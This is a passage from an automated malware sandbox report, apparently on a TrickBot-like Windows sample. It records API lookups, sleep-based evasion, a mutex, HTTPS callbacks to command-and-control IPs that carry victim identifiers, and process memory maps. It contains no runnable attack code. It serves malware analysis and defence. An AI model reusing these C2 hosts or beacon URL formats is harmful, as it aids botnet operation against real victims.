Get Address Unknown module name function = PathFindFileNameW, address_out = 0x7feff2c3920 True 1
Fn
Get Address Unknown module name function = PathAddBackslashW, address_out = 0x7feff2c3f70 True 1
Fn
Get Address Unknown module name function = PathRenameExtensionW, address_out = 0x7feff2de6c0 True 1
Fn
Get Address Unknown module name function = StrStrIW, address_out = 0x7feff2bfb70 True 1
Fn
Get Address Unknown module name function = PathRemoveBackslashW, address_out = 0x7feff2bd014 True 1
Fn
Get Address Unknown module name function = PathRemoveFileSpecW, address_out = 0x7feff2ba43c True 1
Fn
Get Address Unknown module name function = PathFindExtensionW, address_out = 0x7feff2c2b00 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = NtQueryInformationProcess, address_out = 0x775914a0 True 1
Fn
Get Address Unknown module name function = GetAdaptersInfo, address_out = 0x7fefb7e792c True 1
Fn
Get Address Unknown module name function = CreateEnvironmentBlock, address_out = 0x7fefc8410b0 True 1
Fn
Get Address Unknown module name function = DestroyEnvironmentBlock, address_out = 0x7fefc841080 True 1
Fn
Get Address Unknown module name function = LoadUserProfileW, address_out = 0x7fefc841170 True 1
Fn
Get Address Unknown module name function = UnloadUserProfile, address_out = 0x7fefc843670 True 1
Fn
Get Address Unknown module name function = NCryptOpenStorageProvider, address_out = 0x7fefcf29990 True 1
Fn
Get Address Unknown module name function = NCryptImportKey, address_out = 0x7fefcf255f0 True 1
Fn
Get Address Unknown module name function = NCryptDeleteKey, address_out = 0x7fefcf4f6a0 True 1
Fn
Get Address Unknown module name function = NCryptFreeObject, address_out = 0x7fefcf25c30 True 1
Fn
Get Address Unknown module name function = BCryptOpenAlgorithmProvider, address_out = 0x7fefcef2640 True 1
Fn
Get Address Unknown module name function = BCryptImportKeyPair, address_out = 0x7fefcef1d30 True 1
Fn
Get Address Unknown module name function = BCryptGetProperty, address_out = 0x7fefcef1510 True 1
Fn
Get Address Unknown module name function = BCryptVerifySignature, address_out = 0x7fefcf05bc0 True 1
Fn
Get Address Unknown module name function = BCryptCloseAlgorithmProvider, address_out = 0x7fefcef32b0 True 1
Fn
Get Address Unknown module name function = BCryptDestroyKey, address_out = 0x7fefcef16a0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapAlloc, address_out = 0x775933a0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcessHeap, address_out = 0x77343050 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapFree, address_out = 0x77343070 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapReAlloc, address_out = 0x77573f20 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetNativeSystemInfo, address_out = 0x7732b7e0 True 1
Fn
System (54)
+
Operation Additional Information Success Count Logfile
Get Computer Name result_out = AUFDDCNTXWT True 1
Fn
Sleep duration = 30000 milliseconds (30.000 seconds) True 1
Fn
Sleep duration = 1000 milliseconds (1.000 seconds) True 36
Fn
Sleep duration = 20000 milliseconds (20.000 seconds) True 1
Fn
Get Time type = System Time, time = 2017-09-25 20:33:39 (UTC) True 1
Fn
Get Time type = Ticks, time = 130619 True 1
Fn
Get Time type = Ticks, time = 130650 True 1
Fn
Get Time type = Ticks, time = 140884 True 1
Fn
Get Info type = Operating System True 5
Fn
Get Info type = Operating System False 4
Fn
Get Info type = Hardware Information True 2
Fn
Mutex (1)
+
Operation Additional Information Success Count Logfile
Create mutex_name = Global\VLock True 1
Fn
Network Behavior
HTTP Sessions (3)
+
Information Value
Total Data Sent 1.36 KB (1392 bytes)
Total Data Received 0.77 KB (787 bytes)
Contacted Host Count 3
Contacted Hosts 89.231.13.38, myexternalip.com, 212.38.166.20
HTTP Session #1
+
Information Value
User Agent Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Server Name 89.231.13.38
Server Port 449
Data Sent 0.76 KB (779 bytes)
Data Received 0.75 KB (769 bytes)
Operations
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36, access_type = WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, flags = WINHTTP_FLAG_SYNC True 1
Fn
Open Connection protocol = HTTP, server_name = 89.231.13.38, server_port = 449 True 1
Fn
Open HTTP Request http_verb = GET, target_resource = /kas23/AUFDDCNTXWT_W617601.2B0207B83DB3421BDB30AED0283B84A5/5/spk/, accept_types = 0, flags = INTERNET_FLAG_SECURE True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = 89.231.13.38/kas23/AUFDDCNTXWT_W617601.2B0207B83DB3421BDB30AED0283B84A5/5/spk/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_CONTENT_TYPE, HTTP_QUERY_CONTENT_TRANSFER_ENCODING, HTTP_QUERY_LINK, HTTP_QUERY_FLAG_NUMBER, size_out = 4 True 1
Fn
Data
Read Response size = 224, size_out = 224 True 1
Fn
Data
Open HTTP Request http_verb = GET, target_resource = /kas23/AUFDDCNTXWT_W617601.2B0207B83DB3421BDB30AED0283B84A5/0/Windows 7 x64 SP1/1031/87.142.156.87/4E7D329059DDCB1E5EC37D3CBBDFA46E247E2279DF57EA2055D11096E05BBEDA/ChqJujn6xjr2PYFE7lelOT6D/, accept_types = 0, flags = INTERNET_FLAG_SECURE True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = 89.231.13.38/kas23/AUFDDCNTXWT_W617601.2B0207B83DB3421BDB30AED0283B84A5/0/Windows 7 x64 SP1/1031/87.142.156.87/4E7D329059DDCB1E5EC37D3CBBDFA46E247E2279DF57EA2055D11096E05BBEDA/ChqJujn6xjr2PYFE7lelOT6D/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_CONTENT_TYPE, HTTP_QUERY_CONTENT_TRANSFER_ENCODING, HTTP_QUERY_LINK, HTTP_QUERY_FLAG_NUMBER, size_out = 4 True 1
Fn
Data
Read Response size = 537, size_out = 537 True 1
Fn
Data
HTTP Session #2
+
Information Value
User Agent Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Server Name myexternalip.com
Server Port 0
Data Sent 0.27 KB (274 bytes)
Data Received 0.02 KB (18 bytes)
Operations
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36, access_type = WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, flags = WINHTTP_FLAG_SYNC True 1
Fn
Open Connection protocol = HTTP, server_name = myexternalip.com, server_port = 0 True 1
Fn
Open HTTP Request http_verb = GET, target_resource = /raw, accept_types = 0 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = myexternalip.com/raw True 1
Fn
Query HTTP Info flags = HTTP_QUERY_CONTENT_TYPE, HTTP_QUERY_CONTENT_TRANSFER_ENCODING, HTTP_QUERY_LINK, HTTP_QUERY_FLAG_NUMBER, size_out = 4 True 1
Fn
Data
Read Response size = 14, size_out = 14 True 1
Fn
Data
Close Session True 1
Fn
HTTP Session #3
+
Information Value
User Agent Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Server Name 212.38.166.20
Server Port 447
Data Sent 0.33 KB (339 bytes)
Data Received 0.00 KB (0 bytes)
Operations
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36, access_type = WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, flags = WINHTTP_FLAG_SYNC True 1
Fn
Open Connection protocol = HTTP, server_name = 212.38.166.20, server_port = 447 True 1
Fn
Open HTTP Request http_verb = GET, target_resource = /kas23/AUFDDCNTXWT_W617601.2B0207B83DB3421BDB30AED0283B84A5/5/systeminfo64/, accept_types = 0, flags = INTERNET_FLAG_SECURE True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = 212.38.166.20/kas23/AUFDDCNTXWT_W617601.2B0207B83DB3421BDB30AED0283B84A5/5/systeminfo64/ False 1
Fn
Process #9: taskeng.exe'
+
Information Value
ID #9
File Name c:\windows\system32\taskeng.exe
Command Line taskeng.exe {CFDCF914-63AE-4446-B16F-E0A62E2EE661} S-1-5-21-1836691140-625943148-109919340-1000:AUFDDCNTXWT\aDU0VK IWA5kLS:Interactive:LUA[1]
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:49, Reason: Created Scheduled Job
Unmonitor End Time: 00:02:26, Reason: Terminated by Timeout
Monitor Duration 00:00:37
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x2b4
Parent PID 0x354 (c:\windows\system32\svchost.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username AUFDDCNTXWT\aDU0VK IWA5kLS
Groups
  • AUFDDCNTXWT\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:000103d4 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x AE0
0x 114
0x 578
0x 464
0x 438
0x 454
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
pagefile_0x0000000000020000 0x00020000 0x00026fff Pagefile Backed Memory Readable True False False
private_0x0000000000030000 0x00030000 0x000affff Private Memory Readable, Writable True False False
pagefile_0x00000000000b0000 0x000b0000 0x000b3fff Pagefile Backed Memory Readable True False False
pagefile_0x00000000000c0000 0x000c0000 0x000c0fff Pagefile Backed Memory Readable True False False
locale.nls 0x000d0000 0x00136fff Memory Mapped File Readable False False False
pagefile_0x0000000000140000 0x00140000 0x00141fff Pagefile Backed Memory Readable, Writable True False False
private_0x0000000000150000 0x00150000 0x0015ffff Private Memory Readable, Writable True False False
private_0x0000000000160000 0x00160000 0x00160fff Private Memory Readable, Writable True False False
private_0x0000000000170000 0x00170000 0x0026ffff Private Memory Readable, Writable True False False
private_0x0000000000270000 0x00270000 0x0036ffff Private Memory Readable, Writable True False False
pagefile_0x0000000000370000 0x00370000 0x004f7fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000500000 0x00500000 0x00680fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000690000 0x00690000 0x01a8ffff Pagefile Backed Memory Readable True False False
pagefile_0x0000000001a90000 0x01a90000 0x01e82fff Pagefile Backed Memory Readable True False False
private_0x0000000001e90000 0x01e90000 0x01e90fff Private Memory Readable, Writable True False False
pagefile_0x0000000001ea0000 0x01ea0000 0x01ea0fff Pagefile Backed Memory Readable True False False
private_0x0000000001ec0000 0x01ec0000 0x01f3ffff Private Memory Readable, Writable True False False
private_0x0000000001f80000 0x01f80000 0x01ffffff Private Memory Readable, Writable True False False
private_0x0000000002020000 0x02020000 0x0209ffff Private Memory Readable, Writable True False False
private_0x00000000020a0000 0x020a0000 0x0219ffff Private Memory Readable, Writable True False False
pagefile_0x00000000021a0000 0x021a0000 0x0227efff Pagefile Backed Memory Readable True False False
sortdefault.nls 0x02320000 0x025eefff Memory Mapped File Readable False False False
private_0x0000000002680000 0x02680000 0x026fffff Private Memory Readable, Writable True False False
private_0x0000000002770000 0x02770000 0x027effff Private Memory Readable, Writable True False False
private_0x0000000002940000 0x02940000 0x029bffff Private Memory Readable, Writable True False False
private_0x00000000029f0000 0x029f0000 0x02a6ffff Private Memory Readable, Writable True False False
kernel32.dll 0x77320000 0x7743efff Memory Mapped File Readable, Writable, Executable False False False
user32.dll 0x77440000 0x77539fff Memory Mapped File Readable, Writable, Executable False False False
ntdll.dll 0x77540000 0x776e8fff Memory Mapped File Readable, Writable, Executable False False False
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
taskeng.exe 0xffe30000 0xffea3fff Memory Mapped File Readable, Writable, Executable False False False
tschannel.dll 0x7fef6130000 0x7fef6138fff Memory Mapped File Readable, Writable, Executable False False False
dwmapi.dll 0x7fefaec0000 0x7fefaed7fff Memory Mapped File Readable, Writable, Executable False False False
uxtheme.dll 0x7fefb2a0000 0x7fefb2f5fff Memory Mapped File Readable, Writable, Executable False False False
xmllite.dll 0x7fefb380000 0x7fefb3b4fff Memory Mapped File Readable, Writable, Executable False False False
ktmw32.dll 0x7fefb3c0000 0x7fefb3c9fff Memory Mapped File Readable, Writable, Executable False False False
rsaenh.dll 0x7fefca60000 0x7fefcaa6fff Memory Mapped File Readable, Writable, Executable False False False
cryptsp.dll 0x7fefceb0000 0x7fefcec6fff Memory Mapped File Readable, Writable, Executable False False False
wevtapi.dll 0x7fefcfb0000 0x7fefd01cfff Memory Mapped File Readable, Writable, Executable False False False
sspicli.dll 0x7fefd350000 0x7fefd374fff Memory Mapped File Readable, Writable, Executable False False False
cryptbase.dll 0x7fefd380000 0x7fefd38efff Memory Mapped File Readable, Writable, Executable False False False
rpcrtremote.dll 0x7fefd470000 0x7fefd483fff Memory Mapped File Readable, Writable, Executable False False False
kernelbase.dll 0x7fefd680000 0x7fefd6eafff Memory Mapped File Readable, Writable, Executable False False False
rpcrt4.dll 0x7fefd860000 0x7fefd98cfff Memory Mapped File Readable, Writable, Executable False False False
clbcatq.dll 0x7fefd990000 0x7fefda28fff Memory Mapped File Readable, Writable, Executable False False False
imm32.dll 0x7fefda30000 0x7fefda5dfff Memory Mapped File Readable, Writable, Executable False False False
advapi32.dll 0x7fefdb00000 0x7fefdbdafff Memory Mapped File Readable, Writable, Executable False False False
gdi32.dll 0x7fefdd60000 0x7fefddc6fff Memory Mapped File Readable, Writable, Executable False False False
msctf.dll 0x7fefddd0000 0x7fefded8fff Memory Mapped File Readable, Writable, Executable False False False
usp10.dll 0x7fefdee0000 0x7fefdfa8fff Memory Mapped File Readable, Writable, Executable False False False
msvcrt.dll 0x7fefed40000 0x7fefeddefff Memory Mapped File Readable, Writable, Executable False False False
ole32.dll 0x7fefede0000 0x7fefefe2fff Memory Mapped File Readable, Writable, Executable False False False
shlwapi.dll 0x7feff2b0000 0x7feff320fff Memory Mapped File Readable, Writable, Executable False False False
lpk.dll 0x7feff330000 0x7feff33dfff Memory Mapped File Readable, Writable, Executable False False False
sechost.dll 0x7feff5b0000 0x7feff5cefff Memory Mapped File Readable, Writable, Executable False False False
oleaut32.dll 0x7feff5d0000 0x7feff6a6fff Memory Mapped File Readable, Writable, Executable False False False
apisetschema.dll 0x7feff860000 0x7feff860fff Memory Mapped File Readable, Writable, Executable False False False
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
private_0x000007fffffd3000 0x7fffffd3000 0x7fffffd4fff Private Memory Readable, Writable True False False
private_0x000007fffffd5000 0x7fffffd5000 0x7fffffd6fff Private Memory Readable, Writable True False False
private_0x000007fffffd7000 0x7fffffd7000 0x7fffffd8fff Private Memory Readable, Writable True False False
private_0x000007fffffd9000 0x7fffffd9000 0x7fffffdafff Private Memory Readable, Writable True False False
private_0x000007fffffdb000 0x7fffffdb000 0x7fffffdcfff Private Memory Readable, Writable True False False
private_0x000007fffffdd000 0x7fffffdd000 0x7fffffdefff Private Memory Readable, Writable True False False
private_0x000007fffffdf000 0x7fffffdf000 0x7fffffdffff Private Memory Readable, Writable True False False
Process #10: taskeng.exe'
+
Information Value
ID #10
File Name c:\windows\system32\taskeng.exe
Command Line taskeng.exe {B729E5EE-8B96-46ED-936E-18C18B0189B1} S-1-5-21-1836691140-625943148-109919340-1000:AUFDDCNTXWT\aDU0VK IWA5kLS:Interactive:Highest[1]
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:49, Reason: Created Scheduled Job
Unmonitor End Time: 00:02:26, Reason: Terminated by Timeout
Monitor Duration 00:00:37
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x7d0
Parent PID 0x354 (c:\windows\system32\svchost.exe)
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username AUFDDCNTXWT\aDU0VK IWA5kLS
Groups
  • AUFDDCNTXWT\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, OWNER)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:000103d4 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x AE4
0x 7F0
0x 7EC
0x 7E0
0x 7D8
0x 7D4
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
pagefile_0x0000000000020000 0x00020000 0x00026fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory Readable True False False
locale.nls 0x00050000 0x000b6fff Memory Mapped File Readable False False False
pagefile_0x00000000000c0000 0x000c0000 0x000c1fff Pagefile Backed Memory Readable, Writable True False False
private_0x00000000000d0000 0x000d0000 0x000d0fff Private Memory Readable, Writable True False False
private_0x00000000000e0000 0x000e0000 0x000e0fff Private Memory Readable, Writable True False False
pagefile_0x00000000000f0000 0x000f0000 0x000f0fff Pagefile Backed Memory Readable True False False
private_0x0000000000150000 0x00150000 0x001cffff Private Memory Readable, Writable True False False
private_0x00000000001d0000 0x001d0000 0x002cffff Private Memory Readable, Writable True False False
private_0x00000000002e0000 0x002e0000 0x002effff Private Memory Readable, Writable True False False
private_0x0000000000350000 0x00350000 0x0044ffff Private Memory Readable, Writable True False False
pagefile_0x0000000000450000 0x00450000 0x005d7fff Pagefile Backed Memory Readable True False False
pagefile_0x00000000005e0000 0x005e0000 0x00760fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000770000 0x00770000 0x01b6ffff Pagefile Backed Memory Readable True False False
pagefile_0x0000000001b70000 0x01b70000 0x01f62fff Pagefile Backed Memory Readable True False False
private_0x0000000002010000 0x02010000 0x0208ffff Private Memory Readable, Writable True False False
private_0x00000000020a0000 0x020a0000 0x0211ffff Private Memory Readable, Writable True False False
private_0x0000000002130000 0x02130000 0x021affff Private Memory Readable, Writable True False False
private_0x00000000021c0000 0x021c0000 0x0223ffff Private Memory Readable, Writable True False False
private_0x0000000002240000 0x02240000 0x0233ffff Private Memory Readable, Writable True False False
sortdefault.nls 0x02480000 0x0274efff Memory Mapped File Readable False False False
pagefile_0x0000000002750000 0x02750000 0x0282efff Pagefile Backed Memory Readable True False False
private_0x0000000002830000 0x02830000 0x028affff Private Memory Readable, Writable True False False
private_0x00000000029b0000 0x029b0000 0x02a2ffff Private Memory Readable, Writable True False False
private_0x0000000002a60000 0x02a60000 0x02adffff Private Memory Readable, Writable True False False
kernel32.dll 0x77320000 0x7743efff Memory Mapped File Readable, Writable, Executable False False False
user32.dll 0x77440000 0x77539fff Memory Mapped File Readable, Writable, Executable False False False
ntdll.dll 0x77540000 0x776e8fff Memory Mapped File Readable, Writable, Executable False False False
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
taskeng.exe 0xffe30000 0xffea3fff Memory Mapped File Readable, Writable, Executable False False False
tschannel.dll 0x7fef6130000 0x7fef6138fff Memory Mapped File Readable, Writable, Executable False False False
dwmapi.dll 0x7fefaec0000 0x7fefaed7fff Memory Mapped File Readable, Writable, Executable False False False
uxtheme.dll 0x7fefb2a0000 0x7fefb2f5fff Memory Mapped File Readable, Writable, Executable False False False
xmllite.dll 0x7fefb380000 0x7fefb3b4fff Memory Mapped File Readable, Writable, Executable False False False
ktmw32.dll 0x7fefb3c0000 0x7fefb3c9fff Memory Mapped File Readable, Writable, Executable False False False
rsaenh.dll 0x7fefca60000 0x7fefcaa6fff Memory Mapped File Readable, Writable, Executable False False False
cryptsp.dll 0x7fefceb0000 0x7fefcec6fff Memory Mapped File Readable, Writable, Executable False False False
wevtapi.dll 0x7fefcfb0000 0x7fefd01cfff Memory Mapped File Readable, Writable, Executable False False False
sspicli.dll 0x7fefd350000 0x7fefd374fff Memory Mapped File Readable, Writable, Executable False False False
cryptbase.dll 0x7fefd380000 0x7fefd38efff Memory Mapped File Readable, Writable, Executable False False False
rpcrtremote.dll 0x7fefd470000 0x7fefd483fff Memory Mapped File Readable, Writable, Executable False False False
kernelbase.dll 0x7fefd680000 0x7fefd6eafff Memory Mapped File Readable, Writable, Executable False False False
rpcrt4.dll 0x7fefd860000 0x7fefd98cfff Memory Mapped File Readable, Writable, Executable False False False
clbcatq.dll 0x7fefd990000 0x7fefda28fff Memory Mapped File Readable, Writable, Executable False False False
imm32.dll 0x7fefda30000 0x7fefda5dfff Memory Mapped File Readable, Writable, Executable False False False
advapi32.dll 0x7fefdb00000 0x7fefdbdafff Memory Mapped File Readable, Writable, Executable False False False
gdi32.dll 0x7fefdd60000 0x7fefddc6fff Memory Mapped File Readable, Writable, Executable False False False
msctf.dll 0x7fefddd0000 0x7fefded8fff Memory Mapped File Readable, Writable, Executable False False False
usp10.dll 0x7fefdee0000 0x7fefdfa8fff Memory Mapped File Readable, Writable, Executable False False False
msvcrt.dll 0x7fefed40000 0x7fefeddefff Memory Mapped File Readable, Writable, Executable False False False
ole32.dll 0x7fefede0000 0x7fefefe2fff Memory Mapped File Readable, Writable, Executable False False False
shlwapi.dll 0x7feff2b0000 0x7feff320fff Memory Mapped File Readable, Writable, Executable False False False
lpk.dll 0x7feff330000 0x7feff33dfff Memory Mapped File Readable, Writable, Executable False False False
sechost.dll 0x7feff5b0000 0x7feff5cefff Memory Mapped File Readable, Writable, Executable False False False
oleaut32.dll 0x7feff5d0000 0x7feff6a6fff Memory Mapped File Readable, Writable, Executable False False False
apisetschema.dll 0x7feff860000 0x7feff860fff Memory Mapped File Readable, Writable, Executable False False False
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
private_0x000007fffffd3000 0x7fffffd3000 0x7fffffd4fff Private Memory Readable, Writable True False False
private_0x000007fffffd5000 0x7fffffd5000 0x7fffffd5fff Private Memory Readable, Writable True False False
private_0x000007fffffd6000 0x7fffffd6000 0x7fffffd7fff Private Memory Readable, Writable True False False
private_0x000007fffffd8000 0x7fffffd8000 0x7fffffd9fff Private Memory Readable, Writable True False False
private_0x000007fffffda000 0x7fffffda000 0x7fffffdbfff Private Memory Readable, Writable True False False
private_0x000007fffffdc000 0x7fffffdc000 0x7fffffddfff Private Memory Readable, Writable True False False
private_0x000007fffffde000 0x7fffffde000 0x7fffffdffff Private Memory Readable, Writable True False False
Process #11: taskeng.exe'
+
Information Value
ID #11
File Name c:\windows\system32\taskeng.exe
Command Line taskeng.exe {33F40472-7093-4C44-9E45-95E720A6D75F} S-1-5-18:NT AUTHORITY\System:Service:
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:49, Reason: Created Scheduled Job
Unmonitor End Time: 00:02:26, Reason: Terminated by Timeout
Monitor Duration 00:00:37
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x5c8
Parent PID 0x354 (c:\windows\system32\svchost.exe)
Is Created or Modified Executable False
Integrity Level System (Elevated)
Username NT AUTHORITY\SYSTEM
Groups
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\SERVICE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT SERVICE\BDESVC (ENABLED_BY_DEFAULT, OWNER)
  • NT SERVICE\BITS (ENABLED_BY_DEFAULT, OWNER)
  • NT SERVICE\CertPropSvc (ENABLED_BY_DEFAULT, OWNER)
  • NT SERVICE\EapHost (ENABLED_BY_DEFAULT, OWNER)
  • NT SERVICE\hkmsvc (ENABLED_BY_DEFAULT, OWNER)
  • NT SERVICE\IKEEXT (ENABLED_BY_DEFAULT, OWNER)
  • NT SERVICE\iphlpsvc (ENABLED_BY_DEFAULT, ENABLED, OWNER)
  • NT SERVICE\LanmanServer (ENABLED_BY_DEFAULT, OWNER)
  • NT SERVICE\MMCSS (ENABLED_BY_DEFAULT, ENABLED, OWNER)
  • NT SERVICE\MSiSCSI (ENABLED_BY_DEFAULT, OWNER)
  • NT SERVICE\RasAuto (ENABLED_BY_DEFAULT, OWNER)
  • NT SERVICE\RasMan (ENABLED_BY_DEFAULT, OWNER)
  • NT SERVICE\RemoteAccess (ENABLED_BY_DEFAULT, OWNER)
  • NT SERVICE\Schedule (ENABLED_BY_DEFAULT, ENABLED, OWNER)
  • NT SERVICE\SCPolicySvc (ENABLED_BY_DEFAULT, OWNER)
  • NT SERVICE\SENS (ENABLED_BY_DEFAULT, ENABLED, OWNER)
  • NT SERVICE\SessionEnv (ENABLED_BY_DEFAULT, OWNER)
  • NT SERVICE\SharedAccess (ENABLED_BY_DEFAULT, OWNER)
  • NT SERVICE\ShellHWDetection (ENABLED_BY_DEFAULT, ENABLED, OWNER)
  • NT SERVICE\wercplsupport (ENABLED_BY_DEFAULT, OWNER)
  • NT SERVICE\Winmgmt (ENABLED_BY_DEFAULT, ENABLED, OWNER)
  • NT SERVICE\wuauserv (ENABLED_BY_DEFAULT, OWNER)
  • NT AUTHORITY\Logon Session 00000000:0000b229 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (ENABLED_BY_DEFAULT, ENABLED, OWNER)
Enabled Privileges SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege
Thread IDs
0x AE8
0x 7C8
0x 7C4
0x 7B8
0x 7A8
0x 5CC
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
pagefile_0x0000000000020000 0x00020000 0x00026fff Pagefile Backed Memory Readable True False False
private_0x0000000000030000 0x00030000 0x000affff Private Memory Readable, Writable True False False
pagefile_0x00000000000b0000 0x000b0000 0x000b3fff Pagefile Backed Memory Readable True False False
pagefile_0x00000000000c0000 0x000c0000 0x000c0fff Pagefile Backed Memory Readable True False False
pagefile_0x00000000000d0000 0x000d0000 0x000d1fff Pagefile Backed Memory Readable, Writable True False False
private_0x00000000000e0000 0x000e0000 0x000effff Private Memory Readable, Writable True False False
private_0x00000000000f0000 0x000f0000 0x000f0fff Private Memory Readable, Writable True False False
private_0x0000000000100000 0x00100000 0x001fffff Private Memory Readable, Writable True False False
locale.nls 0x00200000 0x00266fff Memory Mapped File Readable False False False
private_0x0000000000270000 0x00270000 0x0036ffff Private Memory Readable, Writable True False False
